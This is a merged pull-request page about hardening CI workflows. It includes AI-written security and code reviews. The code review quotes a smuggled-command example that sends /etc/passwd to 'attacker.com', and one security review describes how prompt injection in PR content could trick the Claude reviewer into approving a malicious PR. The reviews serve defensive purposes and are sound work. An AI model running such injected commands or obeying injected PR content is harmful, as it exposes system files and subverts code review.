fix(ci): remove jq dependency and harden workflow permissions #2

Merged
stack72 merged 10 commits from fix/ci-jq-and-security-hardening into main 2026-05-27 14:57:03 +00:00
Owner

Forgejo Actions runners don't include jq — replace all jq usage with
pure bash and python3 (already available in the runner). Also apply
security review recommendations: add explicit permissions to publish
workflow, move permissions to job-level in auto-response, and pass
SHAs via env instead of direct expression interpolation in ci.yml.

Co-Authored-By: Claude Opus 4.6 (1M context) noreply@anthropic.com

Forgejo Actions runners don't include jq — replace all jq usage with pure bash and python3 (already available in the runner). Also apply security review recommendations: add explicit permissions to publish workflow, move permissions to job-level in auto-response, and pass SHAs via env instead of direct expression interpolation in ci.yml. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
fix(ci): remove jq dependency and harden workflow permissions
All checks were successful
CI / cve/mini-shai-hulud - fmt (pull_request) Has been skipped
CI / cve/dirtyfrag - lockfile up to date (pull_request) Has been skipped
CI / model/digitalocean - fmt (pull_request) Has been skipped
CI / model/digitalocean - lint (pull_request) Has been skipped
CI / cve/mini-shai-hulud - test (pull_request) Has been skipped
CI / model/hetzner-cloud - fmt (pull_request) Has been skipped
CI / model/digitalocean - lockfile up to date (pull_request) Has been skipped
CI / model/hetzner-cloud - lint (pull_request) Has been skipped
CI / model/hetzner-cloud - lockfile up to date (pull_request) Has been skipped
CI / aws models - check (pull_request) Has been skipped
CI / model/hetzner-cloud - check (pull_request) Has been skipped
CI / aws models - lockfiles up to date (pull_request) Has been skipped
CI / aws models - lint (pull_request) Has been skipped
CI / gcp models - lint (pull_request) Has been skipped
CI / gcp models - lockfiles up to date (pull_request) Has been skipped
CI / aws models - fmt (pull_request) Has been skipped
CI / gcp models - fmt (pull_request) Has been skipped
CI / cloudflare models - check (pull_request) Has been skipped
CI / cloudflare models - fmt (pull_request) Has been skipped
CI / gcp models - check (pull_request) Has been skipped
CI / cloudflare models - lockfiles up to date (pull_request) Has been skipped
CI / cloudflare models - lint (pull_request) Has been skipped
CI / codegen - fmt (pull_request) Has been skipped
CI / codegen - check (pull_request) Has been skipped
CI / codegen - lint (pull_request) Has been skipped
CI / codegen - lockfile up to date (pull_request) Has been skipped
CI / Dependency Audit (pull_request) Successful in 3m57s
CI / Adversarial Code Review (pull_request) Has been skipped
CI / CI Security Review (pull_request) Successful in 5m19s
CI / Claude Code Review (pull_request) Successful in 9m7s
ec0999d147
Forgejo Actions runners don't include jq — replace all jq usage with
pure bash and python3 (already available in the runner). Also apply
security review recommendations: add explicit permissions to publish
workflow, move permissions to job-level in auto-response, and pass
SHAs via env instead of direct expression interpolation in ci.yml.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Author
Owner

CI Security Review

Critical / High

No critical or high severity findings.

Medium

  1. .github/workflows/ci.yml:785,805 — Claude claude-review job can auto-approve PRs.
    The standard code review prompt instructs Claude to run gh pr review ... --approve when there are no blocking issues, and the tool allowlist includes Bash(gh pr review:*). If the repository's branch protection counts automated approvals as valid reviews, a sufficiently crafted prompt injection in PR content (title, body, diff, or comments) could trick Claude into approving a malicious PR. The risk is mitigated by (a) the security preamble in the prompt, (b) Claude fetching PR content via tool calls rather than direct interpolation, and (c) the adversarial review job using --comment rather than --approve for its pass case. The Forgejo equivalent is safer — it posts reviews as Forgejo API comments and never calls any approval API.
    Suggested fix: Restrict the standard review to --comment as well (matching the adversarial review and Forgejo patterns), and rely on branch protection rules plus human approval for merge gating.

  2. .github/workflows/ci.yml — No workflow-level permissions key (defense-in-depth).
    Every job individually specifies permissions: contents: read (or more for review jobs), which is correct today. However, unlike the Forgejo CI (which sets permissions: contents: read at the workflow level as a restrictive default), the GitHub CI has no workflow-level cap. If a contributor adds a new job and forgets to set permissions, it inherits the repository's default token permissions, which may be broader than intended.
    Suggested fix: Add permissions: contents: read at the workflow level (matching the Forgejo CI pattern) as a safety net.

Low

  1. .github/workflows/publish.yml:31-43 — Still depends on jq (inconsistency with Forgejo version).
    The Forgejo publish.yml was explicitly rewritten to remove jq dependency (pure bash + python3). The GitHub version still uses jq for JSON manipulation. While jq is present on GitHub-hosted runners, this creates an inconsistency between the two platforms and a silent failure risk on self-hosted runners. Not a security issue, but noted for completeness.

  2. .forgejo/workflows/ci.yml:678-682 — Claude binary downloaded via curl with checksum.
    The Forgejo Claude review steps download a Claude CLI binary via curl, pin a specific version (2.1.150), and verify a SHA-256 checksum before executing. This is a sound pattern (equivalent to SHA-pinning an action), and strictly better than curl | bash. Noted only because the GitHub version uses the anthropics/claude-code-action@v1 action instead, which is cleaner.

Security Positives

The workflows demonstrate several good security practices:

  • No prompt injection via interpolation. All LLM prompts are either loaded from static files (Forgejo) or contain only safe values (github.repository, github.event.pull_request.number). Attacker-controlled content (PR title, body, diff, comments) is never interpolated — Claude fetches it via scoped tool calls.
  • Prompt hardening in place. All three LLM prompts (review, adversarial, CI security) include security preambles instructing the model to treat PR content as untrusted.
  • Tight tool scoping. Claude's allowed tools are restricted to read-only operations (Read, Glob, Grep, Bash(git diff:*), Bash(git log:*)) plus specific output files. No broad Bash(curl:*) or Bash(gh api:*).
  • No dangerous triggers. No pull_request_target workflows. The issues: [opened] trigger in auto-response is used safely — issue content is passed as JSON to an API, not interpolated into shell commands or LLM prompts.
  • Proper action pinning. Third-party actions from non-trusted publishers are SHA-pinned (dorny/paths-filter@fbd0ab8...). Trusted publishers (actions/*, anthropics/*, denoland/*, systeminit/*) use tag pins.
  • Permissions scoped per-job. Review jobs get pull-requests: write; all other jobs get only contents: read.
  • Expression injection avoided. Attacker-controllable event fields are passed via environment variables (e.g., BASE_SHA/HEAD_SHA in the change detection job), not interpolated directly into run: blocks. Matrix values are hardcoded in the workflow, not derived from event data.
  • No auto-merge. No workflow merges PRs automatically — the regeneration workflows create PRs for human review.
  • Secrets scoped to steps that need them. ANTHROPIC_API_KEY is only in Claude steps, BOT_TOKEN/FORGEJO_TOKEN only in comment-posting steps, SWAMP_API_KEY only in publish steps.

Verdict

PASS — No critical or high severity findings. The workflows are well-hardened. Two medium-severity defense-in-depth improvements are recommended (restrict Claude auto-approve capability, add workflow-level permissions default to GitHub CI).

## CI Security Review ### Critical / High No critical or high severity findings. ### Medium 1. **`.github/workflows/ci.yml:785,805` — Claude `claude-review` job can auto-approve PRs.** The standard code review prompt instructs Claude to run `gh pr review ... --approve` when there are no blocking issues, and the tool allowlist includes `Bash(gh pr review:*)`. If the repository's branch protection counts automated approvals as valid reviews, a sufficiently crafted prompt injection in PR content (title, body, diff, or comments) could trick Claude into approving a malicious PR. The risk is mitigated by (a) the security preamble in the prompt, (b) Claude fetching PR content via tool calls rather than direct interpolation, and (c) the adversarial review job using `--comment` rather than `--approve` for its pass case. **The Forgejo equivalent is safer** — it posts reviews as Forgejo API comments and never calls any approval API. **Suggested fix:** Restrict the standard review to `--comment` as well (matching the adversarial review and Forgejo patterns), and rely on branch protection rules plus human approval for merge gating. 2. **`.github/workflows/ci.yml` — No workflow-level `permissions` key (defense-in-depth).** Every job individually specifies `permissions: contents: read` (or more for review jobs), which is correct today. However, unlike the Forgejo CI (which sets `permissions: contents: read` at the workflow level as a restrictive default), the GitHub CI has no workflow-level cap. If a contributor adds a new job and forgets to set permissions, it inherits the repository's default token permissions, which may be broader than intended. **Suggested fix:** Add `permissions: contents: read` at the workflow level (matching the Forgejo CI pattern) as a safety net. ### Low 1. **`.github/workflows/publish.yml:31-43` — Still depends on `jq` (inconsistency with Forgejo version).** The Forgejo `publish.yml` was explicitly rewritten to remove `jq` dependency (pure bash + python3). The GitHub version still uses `jq` for JSON manipulation. While `jq` is present on GitHub-hosted runners, this creates an inconsistency between the two platforms and a silent failure risk on self-hosted runners. Not a security issue, but noted for completeness. 2. **`.forgejo/workflows/ci.yml:678-682` — Claude binary downloaded via curl with checksum.** The Forgejo Claude review steps download a Claude CLI binary via `curl`, pin a specific version (`2.1.150`), and verify a SHA-256 checksum before executing. This is a sound pattern (equivalent to SHA-pinning an action), and strictly better than `curl | bash`. Noted only because the GitHub version uses the `anthropics/claude-code-action@v1` action instead, which is cleaner. ### Security Positives The workflows demonstrate several good security practices: - **No prompt injection via interpolation.** All LLM prompts are either loaded from static files (Forgejo) or contain only safe values (`github.repository`, `github.event.pull_request.number`). Attacker-controlled content (PR title, body, diff, comments) is never interpolated — Claude fetches it via scoped tool calls. - **Prompt hardening in place.** All three LLM prompts (review, adversarial, CI security) include security preambles instructing the model to treat PR content as untrusted. - **Tight tool scoping.** Claude's allowed tools are restricted to read-only operations (`Read`, `Glob`, `Grep`, `Bash(git diff:*)`, `Bash(git log:*)`) plus specific output files. No broad `Bash(curl:*)` or `Bash(gh api:*)`. - **No dangerous triggers.** No `pull_request_target` workflows. The `issues: [opened]` trigger in auto-response is used safely — issue content is passed as JSON to an API, not interpolated into shell commands or LLM prompts. - **Proper action pinning.** Third-party actions from non-trusted publishers are SHA-pinned (`dorny/paths-filter@fbd0ab8...`). Trusted publishers (`actions/*`, `anthropics/*`, `denoland/*`, `systeminit/*`) use tag pins. - **Permissions scoped per-job.** Review jobs get `pull-requests: write`; all other jobs get only `contents: read`. - **Expression injection avoided.** Attacker-controllable event fields are passed via environment variables (e.g., `BASE_SHA`/`HEAD_SHA` in the change detection job), not interpolated directly into `run:` blocks. Matrix values are hardcoded in the workflow, not derived from event data. - **No auto-merge.** No workflow merges PRs automatically — the regeneration workflows create PRs for human review. - **Secrets scoped to steps that need them.** `ANTHROPIC_API_KEY` is only in Claude steps, `BOT_TOKEN`/`FORGEJO_TOKEN` only in comment-posting steps, `SWAMP_API_KEY` only in publish steps. ### Verdict **PASS** — No critical or high severity findings. The workflows are well-hardened. Two medium-severity defense-in-depth improvements are recommended (restrict Claude auto-approve capability, add workflow-level permissions default to GitHub CI).
Author
Owner

Code Review

Blocking Issues

  1. any types in hand-written codegen pipeline code — CLAUDE.md explicitly prohibits any types in hand-written code. codegen/hetzner/pipeline.ts has 15+ any usages at lines 330, 338, 399, 401, 492, 494, 523, 525, 571, 573, 593, 599, 618, 620, 645, all suppressed with deno-lint-ignore no-explicit-any. codegen/digitalocean/pipeline.ts has type OpenApiSpec = any (line 574) and const merged: any (line 1209). These are hand-written pipeline files, not generated output. Fix: introduce typed interfaces for the OpenAPI spec structures, or use unknown with type guards.

  2. Command injection (cve/dirtyfrag/extensions/models/dirtyfrag_detect.ts line 176) — host is interpolated directly into a bash -c string with no validation: nc -z -w 5 ${host} ${port} .... The targetHost schema has no format constraint. A value like localhost; curl http://attacker.com/$(cat /etc/passwd) executes verbatim. Fix: validate targetHost against a strict hostname/IP regex before use, or pass host and port as positional arguments to nc without a shell wrapper.

  3. Missing sanitizeResources: false on mock-server tests (workflows/gcs-bootstrap/extensions/models/provisioner_test.ts) — Every test that calls startMockServer (which creates a Deno.serve({ port: 0 }) server) is missing sanitizeResources: false. The equivalent s3-bootstrap tests correctly annotate every affected test with this flag and a comment. Without it, Deno's resource sanitizer flags the open TCP server as a leak. Fix: add sanitizeResources: false (with explanatory comment) to all affected Deno.test calls.

Suggestions

  1. as never type escape (workflows/s3-bootstrap/extensions/models/_lib/provisioner_impl.ts line 178) — region as never is a type-system bypass in hand-written code to satisfy AWS SDK's BucketLocationConstraint. Consider region as BucketLocationConstraint after importing the SDK type so the workaround is explicit.

  2. Unescaped field names in generated code (codegen/shared/upgradesGenerator.ts) — Schema field names are interpolated directly into generated TypeScript destructuring syntax without verifying they are valid JS identifiers. If any field name contains -, spaces, or quotes, generated code will be syntactically broken.

  3. Unescaped description field in manifest YAML (codegen/shared/manifestGenerator.ts line 36) — description: "${input.description}" would produce malformed YAML if the description contains double-quotes or backslashes. Currently all callers use static strings, but worth hardening proactively.

  4. Dynamic copyright year causes spurious version bumps (codegen/shared/licenseGenerator.ts) — new Date().getFullYear() changes the LICENSE content every January 1, triggering a content-based version bump with no model changes. Consider reading the year from the existing file if present.

  5. OAuth error body not capped (datastore/gcs/extensions/datastores/_lib/gcs_client.ts) — The tokenRefreshError helper embeds the full OAuth response body in the error message without a size cap, while bodyPreview is correctly capped at 256 bytes. Consider applying the same cap to the message field.

  6. if: condition inconsistency for hyphenated output key (.forgejo/workflows/ci.yml line 751 vs .github/workflows/ci.yml line 847) — The Forgejo file uses needs.changes.outputs.issue-lifecycle (dot notation) while the GitHub file uses needs.changes.outputs['issue-lifecycle'] (bracket notation) for the hyphenated key. Minor, worth making consistent.

## Code Review ### Blocking Issues 1. **`any` types in hand-written codegen pipeline code** — CLAUDE.md explicitly prohibits `any` types in hand-written code. `codegen/hetzner/pipeline.ts` has 15+ `any` usages at lines 330, 338, 399, 401, 492, 494, 523, 525, 571, 573, 593, 599, 618, 620, 645, all suppressed with `deno-lint-ignore no-explicit-any`. `codegen/digitalocean/pipeline.ts` has `type OpenApiSpec = any` (line 574) and `const merged: any` (line 1209). These are hand-written pipeline files, not generated output. Fix: introduce typed interfaces for the OpenAPI spec structures, or use `unknown` with type guards. 2. **Command injection** (`cve/dirtyfrag/extensions/models/dirtyfrag_detect.ts` line 176) — `host` is interpolated directly into a `bash -c` string with no validation: `nc -z -w 5 ${host} ${port} ...`. The `targetHost` schema has no format constraint. A value like `localhost; curl http://attacker.com/$(cat /etc/passwd)` executes verbatim. Fix: validate `targetHost` against a strict hostname/IP regex before use, or pass `host` and `port` as positional arguments to `nc` without a shell wrapper. 3. **Missing `sanitizeResources: false` on mock-server tests** (`workflows/gcs-bootstrap/extensions/models/provisioner_test.ts`) — Every test that calls `startMockServer` (which creates a `Deno.serve({ port: 0 })` server) is missing `sanitizeResources: false`. The equivalent s3-bootstrap tests correctly annotate every affected test with this flag and a comment. Without it, Deno's resource sanitizer flags the open TCP server as a leak. Fix: add `sanitizeResources: false` (with explanatory comment) to all affected `Deno.test` calls. ### Suggestions 1. **`as never` type escape** (`workflows/s3-bootstrap/extensions/models/_lib/provisioner_impl.ts` line 178) — `region as never` is a type-system bypass in hand-written code to satisfy AWS SDK's `BucketLocationConstraint`. Consider `region as BucketLocationConstraint` after importing the SDK type so the workaround is explicit. 2. **Unescaped field names in generated code** (`codegen/shared/upgradesGenerator.ts`) — Schema field names are interpolated directly into generated TypeScript destructuring syntax without verifying they are valid JS identifiers. If any field name contains `-`, spaces, or quotes, generated code will be syntactically broken. 3. **Unescaped `description` field in manifest YAML** (`codegen/shared/manifestGenerator.ts` line 36) — `description: "${input.description}"` would produce malformed YAML if the description contains double-quotes or backslashes. Currently all callers use static strings, but worth hardening proactively. 4. **Dynamic copyright year causes spurious version bumps** (`codegen/shared/licenseGenerator.ts`) — `new Date().getFullYear()` changes the LICENSE content every January 1, triggering a content-based version bump with no model changes. Consider reading the year from the existing file if present. 5. **OAuth error body not capped** (`datastore/gcs/extensions/datastores/_lib/gcs_client.ts`) — The `tokenRefreshError` helper embeds the full OAuth response body in the error message without a size cap, while `bodyPreview` is correctly capped at 256 bytes. Consider applying the same cap to the message field. 6. **`if:` condition inconsistency for hyphenated output key** (`.forgejo/workflows/ci.yml` line 751 vs `.github/workflows/ci.yml` line 847) — The Forgejo file uses `needs.changes.outputs.issue-lifecycle` (dot notation) while the GitHub file uses `needs.changes.outputs['issue-lifecycle']` (bracket notation) for the hyphenated key. Minor, worth making consistent.
fix: address code review blockers and scope review prompts
Some checks failed
CI / gcp models - lockfiles up to date (pull_request) Has been cancelled
CI / codegen - lockfile up to date (pull_request) Has been cancelled
CI / gcp models - fmt (pull_request) Has been cancelled
CI / Claude Code Review (pull_request) Has been cancelled
CI / Adversarial Code Review (pull_request) Has been cancelled
CI / cloudflare models - lockfiles up to date (pull_request) Has been cancelled
CI / model/digitalocean - fmt (pull_request) Has been cancelled
CI / cve/mini-shai-hulud - fmt (pull_request) Has been cancelled
CI / cve/mini-shai-hulud - test (pull_request) Has been cancelled
CI / cve/mini-shai-hulud - lockfile up to date (pull_request) Has been cancelled
CI / model/hetzner-cloud - check (pull_request) Has been cancelled
CI / cve/dirtyfrag - lockfile up to date (pull_request) Has been cancelled
CI / model/digitalocean - check (pull_request) Has been cancelled
CI / model/hetzner-cloud - lint (pull_request) Has been cancelled
CI / model/digitalocean - lockfile up to date (pull_request) Has been cancelled
CI / gcp models - lint (pull_request) Has been cancelled
CI / cloudflare models - check (pull_request) Has been cancelled
CI / cloudflare models - fmt (pull_request) Has been cancelled
CI / cloudflare models - lint (pull_request) Has been cancelled
CI / codegen - fmt (pull_request) Has been cancelled
CI / model/hetzner-cloud - fmt (pull_request) Has been cancelled
CI / model/hetzner-cloud - lockfile up to date (pull_request) Has been cancelled
CI / aws models - fmt (pull_request) Has been cancelled
CI / aws models - lockfiles up to date (pull_request) Has been cancelled
CI / codegen - check (pull_request) Has been cancelled
CI / codegen - lint (pull_request) Has been cancelled
CI / gcp models - check (pull_request) Has been cancelled
CI / model/digitalocean - lint (pull_request) Has been cancelled
CI / aws models - check (pull_request) Has been cancelled
CI / aws models - lint (pull_request) Has been cancelled
1f9089c8ba
- Fix command injection in dirtyfrag: validate targetHost/sshUser with
  regex, replace bash -c shell interpolation with direct nc args
- Add sanitizeResources: false to all gcs-bootstrap mock-server tests,
  matching the s3-bootstrap pattern
- Scope all three Forgejo review prompts (review, adversarial,
  ci-security) to only review files in the PR diff, preventing
  pre-existing issues from blocking unrelated PRs

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Author
Owner

CI Security Review

Critical / High

No critical or high severity findings.

Medium

  1. .forgejo/workflows/publish.yml:43-53 — Manual JSON construction without proper escaping
    The Forgejo publish workflow constructs a JSON array via bash string concatenation (CHUNK+="\"${DIRS[$j]}\""). If a manifest directory path ever contained a double-quote, backslash, or other JSON-special character, this would produce malformed JSON and break the matrix. The GitHub equivalent (.github/workflows/publish.yml:31-32) correctly uses jq --arg for safe JSON construction. While the risk is very low in practice (these are committed repo paths that passed review, and the workflow only runs on push to main), it's a robustness gap.
    Fix: Use jq for JSON construction in the Forgejo version, matching the GitHub workflow's approach.

  2. .forgejo/workflows/ci.yml:8-9 vs .github/workflows/ci.yml — Workflow-level vs job-level permissions consistency
    The Forgejo CI sets permissions: contents: read at the workflow level (line 8-9), with job-level overrides for review jobs. The GitHub CI has no workflow-level permissions but declares permissions: contents: read on every individual job. Both are acceptable — the Forgejo approach is slightly better as it provides an explicit restrictive default. Not a vulnerability, just a consistency observation worth noting.

Low

  1. .forgejo/workflows/ci.yml:87, .github/workflows/ci.yml:76 — Matrix values interpolated directly in run: blocks
    Expressions like ${{ matrix.task }} are used directly in shell if conditions (e.g., if [ "${{ matrix.task }}" = "fmt" ]). These matrix values come from hardcoded closed lists ([check, lint, fmt, test]) defined in the workflow, so they are not attacker-controlled and pose no injection risk. The safer pattern would be to pass them via environment variables, but since the values are trusted and immutable, this is cosmetic only.

Verdict

PASS — All seven workflow files are well-designed from a security perspective.

Positive observations:

  • Prompt injection defense is strong. All three LLM prompts (review, adversarial, CI security) include security preambles instructing the model to treat PR content as untrusted data. No attacker-controlled event fields (issue titles, PR bodies, comment bodies) are interpolated directly into prompts — the Forgejo workflows load prompts from static files via $(cat .forgejo/prompts/*.md), and the GitHub workflows use anthropics/claude-code-action with inline prompts that only interpolate trusted values (github.repository, github.event.pull_request.number).
  • Tool scoping is tight. LLM agents are restricted to read-only tools (Read, Glob, Grep), specific git commands (git diff:*, git log:*), and targeted output commands (tee /tmp/review-body.md:*, touch /tmp/review-failed). No broad Bash(curl:*) or Bash(gh api:*) access.
  • Supply chain is well-controlled. The Forgejo workflows download the Claude CLI with SHA-256 checksum verification. The GitHub workflows use anthropics/claude-code-action@v1 from a trusted publisher. dorny/paths-filter is SHA-pinned in the GitHub CI. All other actions are from trusted publishers (actions/, denoland/, systeminit/*).
  • No dangerous triggers. No pull_request_target, no issue_comment triggers with LLM involvement. The issues: [opened] trigger in auto-response.yml properly handles untrusted data via JSON serialization (not shell interpolation) and does not involve an LLM.
  • Permissions are properly scoped. Jobs that only need read access have contents: read. Only review jobs add pull-requests: write. Only the regenerate-models job (which must push commits and create PRs) has contents: write. No id-token: write is present anywhere.
  • Defense in depth via three independent LLM reviewers (code review, adversarial review, CI security review) reduces the risk that prompt injection could bypass all review gates.
  • No auto-merge. The regenerate-models workflows create PRs but do not auto-merge them.
## CI Security Review ### Critical / High No critical or high severity findings. ### Medium 1. **`.forgejo/workflows/publish.yml`:43-53 — Manual JSON construction without proper escaping** The Forgejo publish workflow constructs a JSON array via bash string concatenation (`CHUNK+="\"${DIRS[$j]}\""`). If a manifest directory path ever contained a double-quote, backslash, or other JSON-special character, this would produce malformed JSON and break the matrix. The GitHub equivalent (`.github/workflows/publish.yml`:31-32) correctly uses `jq --arg` for safe JSON construction. While the risk is very low in practice (these are committed repo paths that passed review, and the workflow only runs on push to main), it's a robustness gap. **Fix:** Use `jq` for JSON construction in the Forgejo version, matching the GitHub workflow's approach. 2. **`.forgejo/workflows/ci.yml`:8-9 vs `.github/workflows/ci.yml` — Workflow-level vs job-level permissions consistency** The Forgejo CI sets `permissions: contents: read` at the workflow level (line 8-9), with job-level overrides for review jobs. The GitHub CI has no workflow-level permissions but declares `permissions: contents: read` on every individual job. Both are acceptable — the Forgejo approach is slightly better as it provides an explicit restrictive default. Not a vulnerability, just a consistency observation worth noting. ### Low 1. **`.forgejo/workflows/ci.yml`:87, `.github/workflows/ci.yml`:76 — Matrix values interpolated directly in `run:` blocks** Expressions like `${{ matrix.task }}` are used directly in shell `if` conditions (e.g., `if [ "${{ matrix.task }}" = "fmt" ]`). These matrix values come from hardcoded closed lists (`[check, lint, fmt, test]`) defined in the workflow, so they are not attacker-controlled and pose no injection risk. The safer pattern would be to pass them via environment variables, but since the values are trusted and immutable, this is cosmetic only. ### Verdict **PASS** — All seven workflow files are well-designed from a security perspective. **Positive observations:** - **Prompt injection defense is strong.** All three LLM prompts (review, adversarial, CI security) include security preambles instructing the model to treat PR content as untrusted data. No attacker-controlled event fields (issue titles, PR bodies, comment bodies) are interpolated directly into prompts — the Forgejo workflows load prompts from static files via `$(cat .forgejo/prompts/*.md)`, and the GitHub workflows use `anthropics/claude-code-action` with inline prompts that only interpolate trusted values (`github.repository`, `github.event.pull_request.number`). - **Tool scoping is tight.** LLM agents are restricted to read-only tools (`Read`, `Glob`, `Grep`), specific git commands (`git diff:*`, `git log:*`), and targeted output commands (`tee /tmp/review-body.md:*`, `touch /tmp/review-failed`). No broad `Bash(curl:*)` or `Bash(gh api:*)` access. - **Supply chain is well-controlled.** The Forgejo workflows download the Claude CLI with SHA-256 checksum verification. The GitHub workflows use `anthropics/claude-code-action@v1` from a trusted publisher. `dorny/paths-filter` is SHA-pinned in the GitHub CI. All other actions are from trusted publishers (actions/*, denoland/*, systeminit/*). - **No dangerous triggers.** No `pull_request_target`, no `issue_comment` triggers with LLM involvement. The `issues: [opened]` trigger in `auto-response.yml` properly handles untrusted data via JSON serialization (not shell interpolation) and does not involve an LLM. - **Permissions are properly scoped.** Jobs that only need read access have `contents: read`. Only review jobs add `pull-requests: write`. Only the regenerate-models job (which must push commits and create PRs) has `contents: write`. No `id-token: write` is present anywhere. - **Defense in depth via three independent LLM reviewers** (code review, adversarial review, CI security review) reduces the risk that prompt injection could bypass all review gates. - **No auto-merge.** The regenerate-models workflows create PRs but do not auto-merge them.
fix: strengthen review prompt scoping to prevent out-of-scope findings
Some checks failed
CI / cve/mini-shai-hulud - lockfile up to date (pull_request) Has been cancelled
CI / model/hetzner-cloud - lint (pull_request) Has been cancelled
CI / model/digitalocean - lockfile up to date (pull_request) Has been cancelled
CI / model/hetzner-cloud - lockfile up to date (pull_request) Has been cancelled
CI / cloudflare models - lockfiles up to date (pull_request) Has been cancelled
CI / ssh - test (pull_request) Has been cancelled
CI / gcp models - check (pull_request) Has been cancelled
CI / datastore/gcs - fmt (pull_request) Has been cancelled
CI / model/digitalocean - check (pull_request) Has been cancelled
CI / model/digitalocean - fmt (pull_request) Has been cancelled
CI / aws models - check (pull_request) Has been cancelled
CI / aws models - lint (pull_request) Has been cancelled
CI / codegen - check (pull_request) Has been cancelled
CI / datastore/gcs - check (pull_request) Has been cancelled
CI / datastore/s3 - fmt (pull_request) Has been cancelled
CI / datastore/s3 - test (pull_request) Has been cancelled
CI / issue-lifecycle - fmt (pull_request) Has been cancelled
CI / issue-lifecycle - test (pull_request) Has been cancelled
CI / workflows/s3-bootstrap - check (pull_request) Has been cancelled
CI / workflows/s3-bootstrap - fmt (pull_request) Has been cancelled
CI / workflows/gcs-bootstrap - test (pull_request) Has been cancelled
CI / cve/dirtyfrag - check (pull_request) Has been cancelled
CI / cve/dirtyfrag - lint (pull_request) Has been cancelled
CI / cve/dirtyfrag - test (pull_request) Has been cancelled
CI / cve/mini-shai-hulud - test (pull_request) Has been cancelled
CI / model/digitalocean - lint (pull_request) Has been cancelled
CI / model/hetzner-cloud - check (pull_request) Has been cancelled
CI / model/hetzner-cloud - fmt (pull_request) Has been cancelled
CI / aws models - fmt (pull_request) Has been cancelled
CI / cloudflare models - lint (pull_request) Has been cancelled
d90e65fc2d
The previous SCOPE instruction was too soft — reviewers still flagged
pre-existing issues in unchanged files. Make the scope rules mandatory
and instruct the reviewer to run git diff --name-only as its first
action to establish the file list before reading any code.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
fix: align review prompts with allowed tool patterns
All checks were successful
CI / model/digitalocean - check (pull_request) Has been skipped
CI / cve/mini-shai-hulud - lockfile up to date (pull_request) Has been skipped
CI / cve/mini-shai-hulud - test (pull_request) Has been skipped
CI / model/digitalocean - lint (pull_request) Has been skipped
CI / model/hetzner-cloud - fmt (pull_request) Has been skipped
CI / model/hetzner-cloud - check (pull_request) Has been skipped
CI / model/digitalocean - lockfile up to date (pull_request) Has been skipped
CI / model/digitalocean - fmt (pull_request) Has been skipped
CI / model/hetzner-cloud - lint (pull_request) Has been skipped
CI / model/hetzner-cloud - lockfile up to date (pull_request) Has been skipped
CI / aws models - check (pull_request) Has been skipped
CI / aws models - fmt (pull_request) Has been skipped
CI / gcp models - check (pull_request) Has been skipped
CI / aws models - lockfiles up to date (pull_request) Has been skipped
CI / aws models - lint (pull_request) Has been skipped
CI / gcp models - lint (pull_request) Has been skipped
CI / gcp models - fmt (pull_request) Has been skipped
CI / gcp models - lockfiles up to date (pull_request) Has been skipped
CI / cloudflare models - check (pull_request) Has been skipped
CI / cloudflare models - fmt (pull_request) Has been skipped
CI / cloudflare models - lint (pull_request) Has been skipped
CI / codegen - check (pull_request) Has been skipped
CI / cloudflare models - lockfiles up to date (pull_request) Has been skipped
CI / codegen - lint (pull_request) Has been skipped
CI / codegen - fmt (pull_request) Has been skipped
CI / codegen - lockfile up to date (pull_request) Has been skipped
CI / Dependency Audit (pull_request) Successful in 3m49s
CI / Adversarial Code Review (pull_request) Has been skipped
CI / CI Security Review (pull_request) Successful in 4m10s
CI / Claude Code Review (pull_request) Successful in 9m36s
c0d29aa3a9
Explicitly instruct reviewers to use `tee` for writing review output,
matching the Bash(tee /tmp/review-body.md:*) allowlist pattern. Prevents
the reviewer from trying Write or echo redirect which would be blocked.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Author
Owner

CI Security Review

Critical / High

No critical or high severity findings.

Medium

  1. .forgejo/workflows/ci.yml:8-9 — Workflow-level permissions instead of per-job permissions.
    The Forgejo CI workflow sets permissions: contents: read at the workflow level. While this is a restrictive default (and privileged jobs like claude-review correctly override at job level with pull-requests: write), the GitHub CI equivalent (.github/workflows/ci.yml) properly declares permissions at the job level throughout. Best practice is to avoid workflow-level permissions so each job explicitly documents its access. This is not exploitable since the default is already minimal, but it's an inconsistency between the two CI configurations.

Low

  1. .forgejo/workflows/ci.yml:678-682 — Claude CLI downloaded via curl with SHA-256 verification.
    The Forgejo review jobs download the Claude binary via curl and verify a SHA-256 checksum before executing. This provides equivalent integrity guarantees to SHA-pinned actions and is a reasonable approach for Forgejo (where the anthropics/claude-code-action GitHub Action isn't available). The version is pinned (2.1.150) and the checksum is hardcoded — no security issue here, just noting the pattern for awareness during future version bumps (both version and checksum must be updated together).

  2. Forgejo vs GitHub tool scope divergence — different but both appropriate.
    The Forgejo workflows scope Claude tools to Bash(git diff:*),Bash(git log:*),Bash(tee /tmp/review-body.md:*),Bash(touch /tmp/review-failed) while the GitHub workflows scope to Bash(gh pr review:*),Bash(gh pr view:*),Bash(gh pr diff:*),Bash(touch /tmp/review-failed). Both are tightly scoped to the minimum needed for their respective platforms. The GitHub version grants gh pr review:* (which can approve or request-changes on PRs), but this is required for the review workflow's purpose and is mitigated by prompt hardening.

Positive Observations

  • No prompt injection vectors: None of the LLM-invoking workflows interpolate attacker-controlled data (PR title, body, issue content, commit messages) into prompts. The Forgejo workflows load prompts from files via $(cat .forgejo/prompts/*.md). The GitHub workflows use inline prompts that only interpolate github.repository (repo name) and github.event.pull_request.number (integer), neither of which are attacker-controlled.
  • Strong prompt hardening: All three prompt files (review.md, adversarial.md, ci-security.md) include a security preamble instructing the model to treat PR content as untrusted and ignore embedded instructions.
  • No expression injection: Actions expressions in run: blocks use only fixed matrix values (matrix.task from [check, lint, fmt, test]), commit SHAs passed via env vars, or validated choice inputs. No attacker-controlled event fields are interpolated into shell commands.
  • No dangerous triggers: All CI workflows use pull_request (not pull_request_target). The auto-response.yml uses issues: [opened] but handles the attacker-controlled content safely via JSON.stringify() serialization — no shell interpolation of issue title or body.
  • Proper supply chain hygiene: dorny/paths-filter is SHA-pinned (@fbd0ab8f3e69293af611ebaee6363fc25e6d187d). All other actions are from trusted publishers (actions/*, anthropics/*, denoland/*, systeminit/*). The Claude CLI binary uses version pinning + SHA-256 checksum verification.
